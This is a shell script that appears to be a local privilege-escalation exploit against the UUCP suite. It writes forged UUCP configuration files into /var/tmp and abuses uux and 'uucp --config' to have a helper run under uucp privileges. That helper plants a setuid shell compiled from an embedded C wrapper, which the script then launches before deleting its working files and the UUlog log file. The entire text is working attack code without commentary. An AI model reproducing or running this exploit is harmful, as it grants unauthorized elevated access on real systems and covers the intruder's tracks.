#!/bin/sh
echo o Setting up stuff
[ -x /usr/bin/uuname ] || ( echo x Probably no uucp installed. ; exit 1 )
THISHOST=`uuname -l`
sed s/YYYYYYYY/$THISHOST/g >/var/tmp/runthis <<WEFIXTHIS
cat >/var/tmp/vv.v <<EOF
pubdir /
nodename vYYYYYYYY
uuname vYYYYYYYY
logfile /var/tmp/UUlog
statfile /var/tmp/statfile
debugfile /var/tmp/uudebug
unknown commands ALL command-path /var/tmp:/tmp:/usr/bin:/bin
sysfile /var/tmp/sysfile
dialfile /var/tmp/dialfile
portfile /var/tmp/portfile
EOF

cat > /var/tmp/portfile <<EOF
port default
type pipe
command /var/tmp/getuucp
EOF

cat >/var/tmp/dialfile <<EOF
chat-program /var/tmp/fjeer
EOF

cat >/var/tmp/sysfile <<EOF
myname vYYYYYYYY
local-send /
local-receive /
time any
system YYYYYYYY
phone 4773685
pubdir /
chat-program /var/tmp/getuucp
EOF

cat >/var/tmp/foop.uucp <<EOF
U evil evil
C uucp -W --config=/var/tmp/vv.v /var/tmp/foop2.uucp YYYYYYYY!/var/spool/uucp/YYYYYYYY/X./X.YYYYYYYYX3133
EOF

cat >/var/tmp/foop2.uucp <<EOF
U evil evil
C /var/tmp/getuucp
EOF

cat >/var/tmp/empty <<EOF
EOF

cat > /var/tmp/getuucp <<EOF
#!/bin/sh
/bin/rm -f /var/tmp/asd-shell 
/bin/cp -f /var/tmp/sh /var/tmp/asd-shell 
/bin/chmod +s /var/tmp/asd-shell 
EOF
/bin/chmod +x /var/tmp/getuucp

cat >/var/tmp/sh.c <<EOF
main()
{
 setregid(getegid(),-1);
 setreuid(geteuid(),-1);
 execl("/bin/sh","sh",0);
}
EOF

cc -o /var/tmp/sh /var/tmp/sh.c
uux 'uucp -W --config=/var/tmp/vv.v /var/tmp/empty /var/spool/uucp/.Status/YYYYYYYY'
uux 'uucp -W --config=/var/tmp/vv.v /var/tmp/foop.uucp /var/spool/uucp/YYYYYYYY/X./X.YYYYYYYYX1337'
echo o Sent the commands : Sleeping 2 seconds.
sleep 2
echo o Running the shell.
cd /var/tmp
rm sh.c foop* portfile dialfile sysfile vv.v empty runthis getuucp
[ -x /var/tmp/asd-shell ] && /var/tmp/asd-shell || echo 'x Failed. Sorry.'
[ -x /var/tmp/asd-shell ] && echo rm /var/tmp/UUlog /var/tmp/asd-shell | /var/tmp/asd-shell
WEFIXTHIS
/bin/chmod +x /var/tmp/runthis
exec /var/tmp/runthis
